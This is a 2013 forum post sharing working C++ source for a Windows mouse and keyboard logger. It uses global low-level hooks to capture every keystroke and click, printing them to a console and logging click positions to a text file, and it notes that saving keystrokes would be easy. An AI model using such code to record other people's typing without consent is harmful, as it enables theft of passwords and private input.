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 Post subject: Mouse + Keylogger
PostPosted: Wed Sep 18, 2013 3:33 am 
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Joined: Wed Mar 20, 2013 1:43 am
Posts: 267
Since someone requested a mouseclick logger, I created a mouse and keyboard logger in C++

Code:
#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <thread>
#include <chrono>
#include <fstream>
#pragma comment(lib, "user32.lib")

std::string path = "C:\\test\\clicks.txt";

HHOOK kHook = NULL;
HHOOK mHook = NULL;

using namespace std;

void UpdateKeyState(BYTE *keystate, int keycode){
   keystate[keycode] = GetKeyState(keycode);
}

void MoveMouse(int x, int y){
   MOUSEINPUT m;
   m.dx = x*(65536/GetSystemMetrics(SM_CXSCREEN));//x being coord in pixels
   m.dy = y*(65536/GetSystemMetrics(SM_CYSCREEN));//y being coord in pixels
   m.dwExtraInfo = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE;
   INPUT inPut = {};
   inPut.type = 0;
   inPut.mi = m;
   std::this_thread::sleep_for(std::chrono::milliseconds(2));
   SetCursorPos(x, y);
   SendInput(1, &inPut, sizeof(inPut));
}

LRESULT CALLBACK LowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam){
   //WARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP
   //LPARAM is the key information
   cout << "key pressed";
   KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
   wchar_t buffer[5];

   //get the keyboard state
   BYTE keyboard_state[256];
   GetKeyboardState(keyboard_state);
   UpdateKeyState(keyboard_state, VK_SHIFT);
   UpdateKeyState(keyboard_state, VK_CAPITAL);
   UpdateKeyState(keyboard_state, VK_CONTROL);
   UpdateKeyState(keyboard_state, VK_MENU);
   //Get keyboard layout
   HKL keyboard_layout = GetKeyboardLayout(0);
   
   //Get the name
   char lpszName [0x100] = {0};

   DWORD dwMsg = 1;
   dwMsg += cKey.scanCode << 16;
   dwMsg += cKey.flags << 24;

   int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName, 255);

   //convert Key Info
   int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer, 4, 0, keyboard_layout);
   buffer[4] = L'\0';

   //print
   char ch[260];
    char DefChar = ' ';
    WideCharToMultiByte(CP_ACP,0,buffer,-1, ch,260,&DefChar, NULL);
   string s = ch;
   cout << "key: " << cKey.vkCode << " " << ch << endl;


   return CallNextHookEx(kHook, nCode, wParam, lParam);
}

void saveClick(std::string path, int x, int y){
  ofstream file;
  file.open (path.c_str(), std::ios_base::app);
  if(file.is_open()){
  file << "X: " << x << " Y: " << y << std::endl;
  file.close();
  }
  else
     std::cout << "unable to open file" << std::endl;
}

LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam){
   MSLLHOOKSTRUCT lP = *((MSLLHOOKSTRUCT*)lParam);
   if(wParam == WM_MOUSEMOVE){
      int x = lP.pt.x;
      int y = lP.pt.y;
      cout << "x: " << x << " y: " << y << endl; //comment this out, if you dont want to cout the mouse position every time it moves
   }
   if(wParam == WM_LBUTTONDOWN){
      int x = lP.pt.x;
      int y = lP.pt.y;
      saveClick(path, x, y);
   }
   return CallNextHookEx(mHook, nCode, wParam, lParam);
}





int main(){
   MSG msg;
   kHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyBoardProc, NULL, 0);
   mHook = SetWindowsHookEx(WH_MOUSE_LL, LowLevelMouseProc, NULL, 0);
   if(kHook == NULL){
      cout << "KeyBoard-Hook failed!";
   }
   if(mHook == NULL){
      cout << "Mouse-Hook failed!";
   }
   while(GetMessage(&msg, NULL, 0, 0) > 0){
   TranslateMessage(&msg);
    DispatchMessage(&msg);
   }
   return 0;
}


It can print the mouse coordinates to the screen, whenever the mouse moves and it also prints pressed keys. It saves mouseclicks to a txt file. Saving keyboardstrokes to a file should be no problem with the code provided.


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